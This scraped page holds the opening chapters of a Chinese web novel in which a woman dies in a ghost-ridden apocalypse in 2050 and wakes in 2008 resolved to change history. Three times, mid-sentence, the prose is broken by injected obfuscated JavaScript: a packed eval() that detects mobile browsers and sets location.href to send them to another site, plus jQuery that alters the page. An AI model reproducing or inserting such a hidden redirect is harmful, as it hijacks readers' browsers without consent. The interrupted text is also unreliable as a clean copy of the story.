《回到2008搞灵异直播》 1. 001 2050年。 天空黑沉沉的。 老年季融颤颤巍巍从锅里舀了大半碗粥水，然后拄着拐杖走到床边，将手里那大半碗粥水往床上女人的唇边送过去。 女人瘦削如骨，双眼紧闭，眉头却是蹙着的。 似乎梦里也极不安稳。 老年季融想了想，当然是不安稳的。 这孩子出生是在10年。 那时世界已经发生了异变，无数蛰伏在黑暗中的魑魅魍魉露出马脚，接着妖魔鬼怪在光天化日之下现行。 原来鬼故事里的恐怖怪物竟然都是真的。 恐怖灵异不知不觉侵蚀整个世界。 等到人们反应过来的时候，大街上已经随处可见半人半鬼的怪物，兴许，昨天健健康康出门的亲人，今天回来就已经成了半截尸体。 而这半截尸体，回到家还懵懵懂懂向你抱怨外面的雨下得太大。 可哪有下什么雨？ 不过是他头顶滴落的血水。 诸如此类的事件层出不穷。 世界秩序以极快的速度坍塌，但一切还没有结束。 有一天，太阳突然不再出现。 黑暗笼罩大地。 起初，国家还在努力运行，很快，黑暗所在之处，鬼怪横行霸道，生产跌停，人类生存空间一缩再缩。 末日降临。 季融一生未婚，她没有中意的男人，也懒得在这种事情上浪费时间。 家里就一个大哥。 兄妹俩打小就相依为命，哥哥嫂嫂都比她大上许多，季融20岁的时候，小侄子也十岁了。 小侄子调皮捣蛋，邻里口中的大魔王，嫂嫂头疼得不行，跟季融说让这臭小子长大了给季融养老。 不喜欢男人就不喜欢，不爱嫁就不嫁。 家里多一双筷子的事。 季融轻轻摸着女人的脸颊，苍老的面孔上带着一丝淡淡的笑容。 但小侄子比她死得早。 回家的路上突然失踪的。 警方搜索一番，只剩下一根血淋淋的手指。 要给姑姑养老的人变成了小侄女，但小侄女也快死了。 女人紧闭嘴巴不愿意喝，呼吸沉重，脸色煞白，季融轻轻拍她的脸，“慧慧、慧慧……吃饭了，吃饱饱，舒舒服服睡一觉，不然死了要变恶鬼的。” 季景慧睡梦里听见“鬼”这个字，哆嗦一下惊醒了。 她病了好一阵子，即便醒了也意识不清，嘴巴张合，时不时念叨着妈妈，爸爸，姑姑，有时候还会念叨那个比她早死很多年的臭小子季景宁。 念叨了一阵，突然扁着嘴，像个委屈的小女孩，用那张年轻却苍老的脸盯着季融，“姑姑，我害怕……” 大哥大嫂也死得早。 后面几年生产停滞，人们为了一口吃的打得头破血流。 鬼鬼人人，人人鬼鬼，半人半鬼。 大哥是被活生生打死的。 大嫂开始还为这个家顽守，有一天做梦梦见死去的丈夫儿子，竟然在梦中被恶鬼迷惑，被操纵着身体上吊了。 季景慧从出生就没见过正常的世界。 没有正经上过学，没有吃过海底捞麻辣烫，没有谈过恋爱，一生都在躲避鬼怪，为生存挣扎。 一生都在照顾残疾的姑姑。 久而久之，从懵懂的小姑娘变成沉默的老姑娘。 如果不是这番生病做梦，季融已经很久没听过小侄女的声音了。 “别怕。”季融嘶哑着嗓子，费着老劲将她扶起来，“慧慧不害怕，姑姑在，再忍忍，吃完这一顿就结束了。” 粥水是真的粥水。 里面只勉强漂浮着几颗米粒。 季融从隔壁家取来的。 隔壁家的前阵子也死光了。 自杀的。 季融就从他们那把剩下的一点粮食拿了过来。 季景慧迷迷瞪瞪起来，眼神呆滞，还不知道发生了什么，只是下意识张开嘴，刚要把粥水喝进去，突然想起来姑姑还没吃，艰涩的嗓子说：“姑姑喝。” 接着就不怎么愿意吃了。 季融手上的动作一顿，她今年六十二，年纪大了，眼泪也干了，流不出来。 在这诡异末世里，流泪是没有用的。 谁能想到，她送走了小侄子，送走了哥哥嫂嫂，现在连侄女也要送走。 这个家里最没用的人是她。 活得最久的人也是她。 季融把季景慧抱住，像抱住以前那个小姑娘一样。 她哄着她，“慧慧不吃就不吃，姑姑跟你一起看烟花。” “烟、花？”季景慧没听过这个词，很陌生。 “是啊，烟花。”季融说，“今天是大年三十，以前……我们要吃年夜饭，要放烟花，要倒计时哦。” 季景慧默默地听着，听不懂，从她懂事起，就没有听说过这种事。 “烟花，是什么？” “是一种很亮很亮，色彩斑斓的东西。”季融回答她，想了想，又补充一句，“那个时候我们还会放鞭炮，驱逐邪祟。” 季景慧点点头，“想看。” 她病了很久，现在像个小孩。 季融笑，“我们马上就能看到了。” 她打开窗，冷风呼呼吹进来，若是平日里，因为害怕那些蛰伏在黑暗里的恐怖怪物，几乎人人都紧闭门窗，如非必要，绝不打开。 可是今天，季融看见小区里几乎所有房子都打开了窗。 甚至楼下零零碎碎有几个人在走动。 所有人都在等。 等待倒计时。 季融也在等。 床边，摆放着一份传单。 前几天，一架飞机从城市上方打着广播高调飞过，宣布大年三十要给人们过最后一次节日。 接着就是漫天飞舞的传单。 这是今年最后一天。 也是人类最后一天。 绽放吧，烟花。 季融看见所有人脸上都洋溢着笑容，再也没有对邪祟的恐惧，为了生存，大家都很努力。 就在这时，不知谁突然大喊一声—— “快了！时间快到了！” 小区里短暂地嘈杂了一阵，细细碎碎的说话声你言我语，然后又倏地静下来。 过了一阵。 季融听见有人悄悄念着时间，接着，这声音越来越大，原来是陆陆续续有人跟着念了起来。 季融看了一眼—— 59:40 “慧慧，还有20秒，马上，你就能看见烟花了。” 季景慧艰难地集中精神，“20秒？好久。” 季景慧觉得自己快要死了。 季融也有点急，她等啊等，等啊等，终于等到倒数五秒的时候。 然后所有人的声音都变大了。 “五……” “四……” “三……” “二……” “一！” 所有人眼睛都不敢眨，然后，轰隆！轰隆！轰隆！ 眼前迸发色彩斑斓的炫目流光，一簇簇烟花窜起，炸开，黑沉沉的天空亮起了这几十年来最耀眼的光。 红色、绿色、蓝色、紫色…… 无数光华交织！ 彩色的线条流光四射，绽放成最鲜艳的画面。 天宫、骏马、大树、仙女…… “哇！” 季景慧惊讶地喊了起来。 连季融都惊呆了，她从来没有见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882927|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过花样这么多的烟花。 这是把压箱底的技术都放出来了吧？ 紧接着噼里啪啦的鞭炮声响起，不放鞭炮算什么过年？ 是要放的。 季融心想，去他祖宗二大爷的邪祟，都该死！ 人类，永不认输！ 天边的光芒越来越盛，然后覆盖所有人的视野，突然，轰的一声，震碎世界的巨响。 季融对季景慧说：“慧慧，愿你下辈子，平安健康，世上再无邪祟。” 季景慧没有应声。 她安静地去世了。 一场大火焚烧了整个世界。 季融静静闭上双眼。 她也要睡了。 老年季融这些年吃不好睡不好，四十岁的时候像六十岁，六十岁的时候像八十岁。 她也不知道自己怎么能活那么久。 送走一个又一个的。 年轻的时候成了瘸子，一双腿却在年纪大的时候恢复了正常。 可真当她能睡觉的时候，她突然发现自己睡不着了。 老年季融开始懊恼了，不是吧？ 老年病犯了，这该死的时候不死，反而失眠了？ 老年季融狠狠在心里念了一遍清心咒，心没静下来，耳边听见的声音反而越来越多，嘿，连她大哥大嫂的声音都听见了。 季延跟乌静梅说：“等小妹醒来，可千万别跟她提方奇白那事，小妹和方奇白青梅竹马的，谈了那么多年，临到结婚了突然被人家悔婚，受的打击太大，都跑大马路上自杀去了，哎哟我真的……受不了！要不是这法治社会，老子高低把方奇白的腿给打断！” 乌静梅叹气，心疼得不行，“医生说小妹这腿被车子撞伤，以后恐怕站不起来了，这可怎么办呀？她年纪轻轻的，心爱的人没了，腿也没了……” 乌静梅越说越难受，都快给妹子心疼哭了。 季延也好不到哪里去，“谁能想到啊，小妹居然能那么喜欢那个方奇白！早知道、早知道！我就不该让他们俩接触！不行，越想我心里越不得劲！你、你别拦我！我要去揍方奇白一顿！” “哎，我也不拦你，找个没人的地方揍，别让人看见被抓了。”乌静梅说。 季延想了想，“小妹那么喜欢他，打断他的腿她不会心疼吧？” “那打个半瘸好了，和小妹凑一对，一块儿做对瘸夫妻，大不了咱俩给他们养一辈子。”乌静梅建议。 “对对对，你说得对，管他怎么想，让小妹高兴了再说。”季延又难受了，“小妹真傻，怎么就为了个男人自杀呢？不值得，真不值得啊！” 季融：…… 越听越不得劲。 我不是，我没有，别胡说。 什么自杀啊，她没有为方奇白自杀啊！ 这些话她20岁的时候听到过，可那会儿怎么跟哥哥嫂嫂解释他们都不信，就是认定她爱方奇白爱得死去活来宁愿自杀！ 从那之后她的腿就瘸了。 哥哥嫂嫂放话要她别担心难过，要养她一辈子。 几十年后再听到同样的话，季融绷不住了。 她猛地睁开眼，“我没有！什么自杀！我没有自杀！到底要怎么说你们才愿意相信我啊！意外！都是意外啊！我真的没有！我冤枉啊！” 而且她的腿，还有救！ 季延和乌静梅知道被听了全程，一脸尴尬噤了声，彼此对视一眼，都带着不信，和一丝生怕伤害到季融脆弱心理的小心翼翼。 季融看着这两张脸，百口莫辩。 差点没气晕过去。 就在这时，她突然看见两人身后的日历—— 2008年。 这个时候的季融，20岁。 许多事情都还没有发生。 2. 002 空气里漂浮着消毒水的味道。 季融眨眨眼，看看日历，又看看病房里的老式铁床，看看她哥她嫂那两张年轻了十来岁的脸。 她张了张嘴，忍了又忍，没忍住大喊一声。 “哥！嫂子！” 一声暴喝，差点没把季延和乌静梅吓得两腿一哆嗦，当场愣在原地。 季融灵敏地从床上爬起来，想要扑过去狠狠掐一把两人的脸，但她忘了自己这会儿刚车祸受伤，伤口都没好全呢。 这么一扑腾，突然一阵天旋地转，眼看就要到底，两双手稳稳将她接住。 临昏迷前，季融一左一右，终于摸到了季延和乌静梅的脸。 她哥下巴都是胡子茬子，刺手。 她嫂子光华漂亮，可是大美人一个。 季融毫不犹豫，选择在季延脸上狠狠掐了一把。 如愿听见他哥惨叫一声，季融不甘心地闭上眼，这不会是她临死前的幻觉吧？ 但她哥叫得可惨了。 不会吧？ 叫得这么惨总不能是假的吧？ 她腿上的伤也挺痛的。 她重生了？ 回到2008年了？ 季融不太敢相信，她就是个普通人，就算后来在末日里，也还是个普通人，从年轻人到老东西，普通到不行，让她重生再死一次？ 有点过分了。 季融天旋地转地想着，然后昏昏沉沉地闭上了眼。 2008年，她出了一场车祸。 轻微脑震荡，双腿骨折。 其实不算特别严重，修养修养还有救，毕竟她的腿不是真断了，可她就是站不起来了。 季融从此成了残疾人。 轮椅一坐就是几十年。 现在再来一遭？ 她不太愿意。 季融迷迷糊糊失去了意识，然后她做了一个梦。 这个梦也是从2008年开始。 她像一具无主孤魂，晃晃悠悠飘荡在天地间。 那一天，全城、不……全国都是欢喜的。 电视上，大街小巷，关于世界运动会的新闻铺天盖地，什么立方，什么巢，那修得多厉害多壮丽啊，无数国外友人又惊奇又羡慕，兴许还有一些嫉妒。 总之，那一天，所有人都看见了来自东方的璀璨巨星。 季融是南方人，她也在电视里看见了那两座宏伟的建筑。 但她有些茫然。 又有些惊喜。 像完全没见过似的。 等等！ 她好像确实没有见过！ 好像有一记重锤敲响，季融猛地清醒过来，她目不转睛地看着发生在自己眼前的一切。 时间是持续往前推进的。 2008年、2009年、2010年…… 世界奥运会、登月飞船……航母、跨海大桥…… 季融看得眼睛都瞪大了！ “这是什么？那是什么？这个那个又是什么？！？” 她飘在半空中震撼地哇哇大叫，跟乡下人进城似的，恨不得伸长脖子把这些都看个遍！ “我怎么不知道在未来的几十年里有这些东西！” 没有，是真的没有。 季融把她的记忆都搜刮干净了！ 在她活着的那几十年里，开始还算正常，但随着时间流逝，黑暗中的诡异却像是进化一样，直到彻底将这个世界笼罩。 08年以前她也听说过世界运动会即将在自家祖国举办。 可！ 就在世界运动会成功举办前一年……某处煤气爆炸，瞬间毁了一条街，一场大火如同一条恶龙，飞快卷席，眨眼侵蚀半座城市。 那场灾难摧毁无数家庭。 并且很快，天降大雪。 那座城市还没来得及休息，盛夏里连续下了三个月的雪，几乎毁了一切。 国家首都被迫迁移。 换以前，季融怎么也不可能相信会发生这种事。 太离奇，太诡异了。 那可是首都！ 就算发生那么恐怖的事，怎么可能会被逼到那种程度？ 但事情就是这样发生了。 网民们纷纷猜测，也许有更多内情是普通老百姓们不知道的。 同年，各大论坛发布无数帖子。 关于2012年会迎来世界末日的帖子再一次火热起来。 还有说龙脉受损的。 什么密封的档案终于开启的。 总之，那一年，在季融活着的2008年……世界运动会没有举办！ 后面那些辉煌的事情更是没有发生！ 季融飘了很久很久，越看越觉得眼花，头痛欲裂。 她快要在这里撑不下去了。 但在这场梦里，末日没有到来！ “为什么会这样？”季融喃喃地问，她用力甩甩头，试图让自己意识清晰，“不对……不对不对不对！” “到底是哪里不对？”她问自己。 季融捂住头，瞪大通红的眼睛死死盯着这场梦。 突然，她动作一顿，呼吸急促。 她意识到了。 这不是梦。 “这才是……这个世界本该有的现实。” “这才是世界原有的进程。” “它只是……走偏了。” 季融眼睛逐渐亮了起来。 “末日可以不到来，历史可以被修成，因为，那……才是它真正的历史！” 咚！ 那记响钟再次敲响。 季融痛得蜷缩身体，而随着那句话落下，冥冥中仿佛打开了某个开关，季融的意识越来越模糊，越来越模糊，然后彻底陷入黑暗。 2008年。 季延眼看着妹妹晕倒，一颗心差点没吓得跳出来。 乌静梅整个人都不好了，脸色一白，扯着嗓子就喊：“医生！医生！医生！咱家妹子又晕倒了！” 季延手都抖了，咬着牙说：“妹儿啊，你怎么这么傻呢，怎么能为方奇白那种人自杀呢！我的傻妹妹！我的傻妹妹啊！你这要哥咋办啊！” 季延被季融大十岁，又当爹又当妈的，瞧着妹妹铁青的小脸，眼泪都快飚出来了。 季融刚恢复意识，又听见他念叨这个事，脑袋里突突的，差点没又晕过去。 但是她忍住了。 她死死握住季延的手，指甲几乎都快掐进他肉里了。 季融恶狠狠地瞪着季延，跟复活的厉鬼似的。 季延却大喜过望，“你醒了！嗯？你要说什么？哥听着呢？” 季融嗓子嘶哑，有点发不出声。 季延就凑到她唇边听：“啊？什么？” 季融咽了咽口水，润乐润喉咙。 然后深深吸了一口气，再缓缓呼出，然后……声嘶力竭的，在季延耳边大喊：“报警！我要……报警！！！” 她要向国家举报！ 世界末日要来了，诡异末世即将降临，报警，她要报警，她要让国家知道，让国家早点预防，她要修正历史，她要改变未来！ 季延被炸得耳朵都快聋了，“报、报警？报报报、报警？！” 季延可是个良好公民。 见到警察叔叔就发憷。 乌静梅带着医生匆匆赶来，身后还跟着一批年轻小护士，全都听见了，一双双眼睛瞅着季融：“……报警？报什么警？” 吃瓜的眼睛登时就亮了。 他们可是都听说了，这姑娘是为情自杀的！ 难道别有内情？ 那不然怎么一觉醒来就要报警？！ 季融：…… 季融冷静下来了。 太傻了，她怕自己被当成精神病送去精神病院。 季融表情严肃，脸不红气不喘地说：“哥，我要举报你，一天到晚净给我造谣，首先，我没有自杀，其次，我没有为情自杀，最后，我出车祸真的是意外。” 这么多年过去，具体怎么的季融也记得不大清楚了。 那天就是过马路的事，绿灯还没亮起，季融就迷迷瞪瞪走出去了。 一辆黑色小轿车开过来，幸好对方开得也慢，刹车及时，季融只是轻微脑震荡加上双腿骨折。 可经过季延的大嘴巴一说，全世界都以为她是为情自杀了。 “没必要，真的没必要，我年纪轻轻的，自杀个什么啊，哥哥，嫂子，你们两个倒是给我醒醒。” 医生护士一听，眼里都有点没吃到瓜的失望，但来都来了，就顺便给她检查检查。 “大致上是没事了，就是你这双腿……”白大褂医生不忍心说下去了，说来也怪，季融这双腿，是真的就是骨折，可多方检查下来，就是瘸了，恢复不了那种。 真是怪事。 乌静梅扯了扯医生的袖子，不让他继续说下去。 季融将嫂子的小动作看在眼里，倒是心平气和。 姑且不说她过了几十年的轮椅生涯已经习惯了，她这双腿，其实能恢复。 在季融四十五岁的时候，她的腿就恢复正常了。 但现在，她等不到四十五岁了。 季延觉得妹妹现在奇奇怪怪的，但都发生了那种事，他不敢瞎逼逼，怕刺激到季融。 “行行行，你说是什么就是什么。”季延说。 季融的目光又一次落到了墙上的日历上。 日历就是一张大海报，上面是四大天王的照片，下面分了十二个月份，顶上标着今年的年份。 这是季融瘸腿的第一年，上一回她大受打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882928|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击，狠狠自闭了一段时间，但这一回，季融听话地休息了一段时间，就让季延办了出院。 季融觉得自己很忙，没有时间休息。 报警是不可能报警的。 但世界的进程得修正，绝对不能再过原来的日子了。 季融坐在窗边，仔细想着末日是怎么一步步形成的。 她看着窗外踩着单车下班的工人，自言自语：“说起来，那些东西好像是慢慢变强的，开始的时候，它们只出现在各种鬼故事里，只是有人听过，但没有人真的见过，更别提拍到过，可后来，那些东西越来越强了，看见的人也越来越多，到后来，甚至变得习以为常……” “就好像，变成了这个世界，再常见不过的一种东西。” “人们变得恐惧，变得害怕，而它们的存在感，也越来越强。” “难道是因为人类的恐惧吗？” “是恐惧喂养了它们。” 季融开始回忆时间的前后，确实，在鬼怪真正出现在大众眼中之前，人们对它们并不了解，更没有真正的恐惧，不过是传闻而已。 即便确实存在，也不过如此，并没有引起什么太大影响。 是某一天里，它们切实的出现了。 当时网络上铺天盖地都是对鬼怪的恐怖渲染。 然后，它们变强了。 是突然的，一下子的，阶梯式地变强了。 这时，季融忽然闻到一股香味。 季延今年盘了一个小铺面，打算开快餐店。 他没怎么读过书，以前一直在饭店里打工，给厨师们打下手。 妹妹出院，季延就和乌静梅盘算着给妹妹好好补一补。 两口子手拉着手去菜场买了一条大猪蹄子，季延回家处理了一通，准备给妹子做花生猪蹄汤！ 香喷喷的肉汤味随着高压锅呜呜呜的声音窜了出来。 季融狠狠吸了一口，思维彻底中断。 季延开了锅，香气就更浓郁了。 乌静梅用轮椅把季融推过来，“快尝尝，你哥刚炖的，试试他这手艺，咱们开的这家店，能不能大红大火。” 开餐馆一直是季延的梦想。 可上辈子，别说开餐馆了，能活下去就不错了，季延和乌静梅后来的很多年里都在找失踪的儿子，压根没再提起过这个念头。 季融想让嫂子先吃，但乌静梅摁住她的脑袋，“病人，你好好的，就是对嫂子最好了。” 乌静梅和季延青梅竹马，两人一块儿长大的，季融跟她的亲妹妹一样。 季融有点愣住，她都快忘了自己有多久没被碰过脑袋了，有点温暖。 季融沉默一瞬，看着奶白色的猪蹄汤，用勺子轻轻抿了一口。 浓厚的香气瞬间在口腔里炸开。 季融喝了一口又一口，然后咬开一块猪蹄，入口即化，暖融融的，咸淡适中，她已经很多年，很多年没有吃过肉了。 这样的好日子，还能过多久？ “怎么样，行不行啊？”季延问。 季融吃得头也不愿意抬。 一口又一手，像八百年没吃过肉的乞丐，狼吞虎咽，看得哥嫂两个胆颤心惊，怕给她噎到。 可就在这个时候，季融突然抬起头，眼睛亮亮的，说：“哥！嫂子！” “哎！”两人回应。 “我要拯救世界！” “啊？” 季融用力强调：“我！要拯救世界！就为了这口饭！对，就为了这口饭！” “啊……哦、哦哦……” 夫妻俩发懵，对视一眼，悄悄溜走了，躲在门后愁绪万千：“咱们这妹妹，脑子真没问题吧？” 背景音里，是季融嗷嗷喊着为了这口饭。 只有季融知道自己是真心的。 另外那个世界人类过得有多惨只有她自己知道。 2008年，季融刚大专毕业。 她们家就没有爱学习的基因，这年刚毕业，季融本来是在找工作的。 可现在她暂时不打算找那么快了。 而且还有她的腿…… 季融坐在房间里，盯着自己没有知觉的腿看。 她手里拿着一把镜子，镜子在她腿边晃动，这段时间伤口已经愈合了，拆了封，但一双腿还是乌青的，难看得很。 镜子就那么在她的腿边来回晃。 左边晃晃，右边晃晃，上面晃晃，下面晃晃。 三百六十度地照着自己的腿。 就在季融以为看不出来什么的时候，突然，只听见噼啪一声，镜子竟然以中心为一个点，如同蛛网般，噼里啪啦裂开了。 季融肉眼看上去明明自己腿上什么也没有。 可就在破碎的镜子里，一只青灰色的手，恶狠狠地拍在了镜子上。 3. 003 季融手哆嗦了一下，镜子差点落地。 但她马上就稳稳地捏住了。 跟后来比，那些“东西”也就只能在肉眼看不见的地方吓唬人，在早期，它们的能量场似乎很弱，顶多就是在镜子里露个脸，在背地里耍点小手段。 “一群见不得光的东西。”季融确认下来了。 自己当时过马路的时候，似乎感觉有一只手推了自己一把，是有什么“东西”，故意要害她呢。 后来她的腿会瘸，也是因为那个“东西”，缠在了自己身边。 一股阴冷潮湿的气流黏糊糊地在季融身后滑过，想到看不见的地方有个“东西”缠着自己，季融就觉得有点恶心。 但她的腿，确实还有救。 在季融四十五岁的时候，她遇见了一个道士。 这位道士是有点真本事的，张嘴就跟季融叽里咕噜了一通，说什么阴阳交错啦，什么天下大乱啦。 总结就是他要除魔卫道。 接着一眼看出季融腿上有个脏东西，手里提着拖鞋，左边拍一下，右边拍一下，当天夜里，季融的腿突然有了知觉。 但这知觉只是有一点，还不到完全好。 道士告诉季融，说这鬼很弱，要不然也不会缠了她这么多年，也只是害了她的腿，而不是要了她的命。 这鬼跟外面那些穷凶极恶的可不一样。 算季融走运。 而对付脏东西，就得比它更凶。 道士交代季融，“这玩意儿不成气候，你凶它就怂。” 顿了顿他又不屑地嗤笑一声：“何止是你腿上这个，早在许多年前，他它们全都不成气候，是它们无孔不入，是人心复杂，导致了今天的局面。” 后来道士教她，让她每天用拖拉板扇它几个巴掌，扇得久了，它知道你不怕它，它啃噬不到你的能量，自然而然的，就随着时间消散。 后来季融还真每天对着自己的腿扇，就那么扇了几个月，腿的知觉一天比一天清晰，淤青一天比一天黑，有一天，她突然清楚地感觉到痛觉，此后，再也无需再用拖拉板扇自己的腿。 邪祟已然被扇怕，鼻青脸肿消散于天地间。 季融想了想，当时道士跟她年纪差不多，现在应该也是二十出头的大小伙子。 他好像叫、叫什么来着？ 郁青道长……？ 时间太久了，季融记忆有点模糊。 因为道长没有待在那里太久。 那一天夜里，邪祟在小区里吃了55个人。 季融抱着季景慧，透过窗户缝隙，看见郁青道长手持板砖，面无血色地走进那栋黑漆漆的、毫无生气的楼。 噼里啪啦。 窗面玻璃全部破碎，如同冰冷的雪花掉落。 夹杂着漫天的鲜血。 道长也是一个四十余岁的中年人，前头季融遇见他的时候，道长还文质彬彬带点中年倜傥的味道，可进了那栋楼后，里面传出他猖狂的大笑。 笑完他就开始骂。 骂得那个脏呀，季融都四十五岁了，也没听过这么多不重样的脏话。 从那以后，她就再也没见过郁青道长。 到底活着没？ 还是死了？ 当然，那栋楼里的邪祟再也没出现过。 郁青道长是季融见过唯一能杀死邪祟的人。 思绪回笼。 年轻的季融开始考虑一件事。 到底怎么样才能改变历史轨迹？ 她记得2008年发生了很多可怕的事，爆炸、雪灾、病毒…… 这些，都是她在那个光怪陆离的梦境里所没见到过的。 在那个梦里，华夏依旧命运多舛。 但从未被击垮。 不能再让同样的事情发生了！ 季融手里握着镜子，看着刚出院的自己脸色苍白，一副营养不良的样子，有点发呆。 她模样长得挺好的，小小的脸，大大的眼睛，一头乖巧的黑色齐耳发。 就在这时，一只青灰色长得红指甲的手幽幽从镜子里冒了出来。 准确的说，不是镜子里，而是从她腿上。 这家伙…… 季融眉头一皱，下意识抄起拖鞋，狠狠扇了自己的腿一下。 噗嗤。 镜子传来爆裂声，碎得更厉害。 只见破碎的镜面，那只手刚想用红指甲抓挠镜面，被这么突兀的一拍，愣了一下，生生停住了。 “……” 打了一下就停不下来了。 在做“腿部康复”那几个月，季融已经形成了肌肉记忆。 再打一下。 鬼手颤抖，紧接着愤怒，伸手朝季融的脸上抓去。 季融更怒了，“还敢抓我？打你个死人头！打你个衰鬼！敢搞我？老娘的腿是你能待的吗？死鬼！色鬼！烂鬼！你祖宗我现在就让你原地螺旋起飞往生！” 她只恨自己没有骂鬼28式！ 再打！再打！再打！ 她越骂越激动，越骂越大声，拖鞋拍起自己的腿来更是毫不留情。 那只鬼手刚开始还要挣扎，可它每次刚想伸出来，一拖鞋就扇了过去。 越扇越狠，越扇越快。 到最后，它还没来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882929|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及冒头，就已经被扇了回去。 嘎吱嘎吱嘎吱。 地面传来怪声，似乎是指甲抓挠。 它恨！它恨！它恨！ 这女人怎么回事？！ 它恨也没有办法，它没有机会冒头，会被扇飞。 嗨呀，好气啊！ 门外。 季延和乌静梅彼此对视一眼，面露惊恐，然后快速手牵手跑回房间，嘭一声关上门。 “糟了，小妹真的……” “真的疯了？！” “不不不！不可能！”季延一个大老粗，都快哭出来了，“我妹妹不可能变成疯子！” 乌静梅咬牙切齿：“该死的方奇白！走！咱们现在就把他抓过来！打断他的腿！” “啊真的打吗？”这下轮到季延怂了。 乌静梅一拍他的肩膀，“当然啊！你想啊！小妹这人平时开开心心的，也没什么事能刺激她，现在摆在她面前的就两件事，一个是方奇白，一个是小妹的腿！她的腿咱是治不了了，区区一个方奇白，还搞不定吗？” 夫妻俩嘀咕一阵，达成一致。 季融是被一通焦急的拍门声吵醒的。 “季融！季融！季融！” “你给我出来！” “就你这个没钱没本事的，还想祸害我儿子！没门！” “快让季延住手！住手啊！” 季融睡得迷迷瞪瞪的，很想翻个身继续，那些年她都没怎么睡过好觉，得趁现在补回来。 可这声音听着听着有点熟悉，再仔细一听里头提到她哥。 季融一个激灵，猛地惊醒了。 打开门，外面是个身穿黑白西装裙，头发也整理得井井有条的女人，见了季融，又看她坐在轮椅上，眉尖微蹙，不由自主露出点鄙夷来。 “都成了瘸子，还要让你哥去骚扰我儿子，你看你像话吗？” “也不看看你现在哪点配得上我们家奇白，季融，我可告诉你了，我们家奇白可是大学生，正正经经考上去的，他们学校都是些知识分子，跟你没有共同语言。” “他要娶的，不是你这种没文化没素质，不干不净油腻腻的家里的女儿！” 方丽丽话还没说完，一盆水泼了过来。 她惊恐地尖叫一声，定眼一看，面前的季融手里还拿着个铁盆，一脸无辜，嘴里却说着可恶的话。 “不爽？那你报警啊。” 说完，左手一抬，又一盆水泼了过来。 “醒了吗，方阿姨，要不……我给你洗洗脸？” 然后那张有着乖巧乌黑齐耳发的漂亮脸蛋，轻轻地笑了。 4. 004 方丽丽捯饬得一副完全上流社会的模样。 虽是穿着黑白西装套裙，但头发烫了个大卷，染了个时下流行的黄毛，耳朵、脖子、手腕，均佩戴奢华的珍珠品牌，脚下再一双黑色高跟鞋。 她已经四十多岁，却依旧是位单身的都市丽人。 一个人拉扯方奇白长大，从一个乡下村姑拼搏成今天这个样子，不容易。 方丽丽一贯是鄙视季家的，觉得季家穷得要死，还天天从隔壁飘一些又香又油的味道过来，说是季延家伙在练手，为以后开餐馆做准备。 而乌静梅就更蠢了，和谁都要好，被人卖数钱也不知道，未婚小姑子那么大了，还养在家里，亏死了，应该早早卖出去换些彩礼钱。 还有那个小的，混世魔王，也烦。 至于季融，那就更是方丽丽的眼中钉肉中刺，她家奇白从小就是乖孩子，怎么能和这种家庭的人交朋友？ 要是错失遇上白富美的良机，这可如何是好？ 再说了，她男朋友知道自己儿子跟个野丫头交往，还不知道怎么看她呢。 两盆冷水泼下来，方丽丽傻了。 片刻，意识逐渐回笼，方丽丽愤怒得像个被捏住脖子的尖叫鸡：“啊啊啊啊！季融！你敢泼我！你知道我这身衣服多少钱吗？你知道我的发型做了多久吗？你要死啊你臭丫头！” 季融无辜地说：“我能怎么办啊？我又不是故意的，我正准备打扫卫生呢，谁知道一开门就撞见了你，而我呢，就刚好准备倒水……我也没办法啊，要怪就只能怪你倒霉咯！” “你！你你你！”方丽丽捂住心口，气得发疼。 季融趁着这个机会，赶紧一推轮椅，溜咯。 季家在这一带是有房的，单一层的院子，左边两个屋，右边两个屋，里头又是一个，至于中间是个大院，种了些花花草草，角落里还围了个栏，养几只鸡待宰。 真讲究起来还是祖上有钱有先见之明，到季融这一带留下了财富。 季融一出门，就听见街上叮叮铃铃的单车铃声，左边不远处有个厂子，右边不远处有个学校，再更远的地方，据说是都市白领的办公楼，装潢得最气派。 至于季家隔壁，则是几栋自建楼，是那种走廊对着外面的款式，男男女女老老少少的衣服晾在走廊的细绳上，有时谁家霸占了谁家的位置，少不了要吵架。 这还是季融回来后第一次出门。 看着来来往往的人流，她愣愣地停在了原地，眼眶泛红。 几十年后，这个地方已经不能住人了。 有一天夜里，那几栋自建楼里出了个邪祟。 一共三十八户人，在凌晨四点四分四十四秒整整齐齐手牵着手站在楼顶上，然后你一个我一个，下饺子似的从楼上跳下去。 那天夜里下了雪。 雪花变成红色。 至于为什么跳楼？ 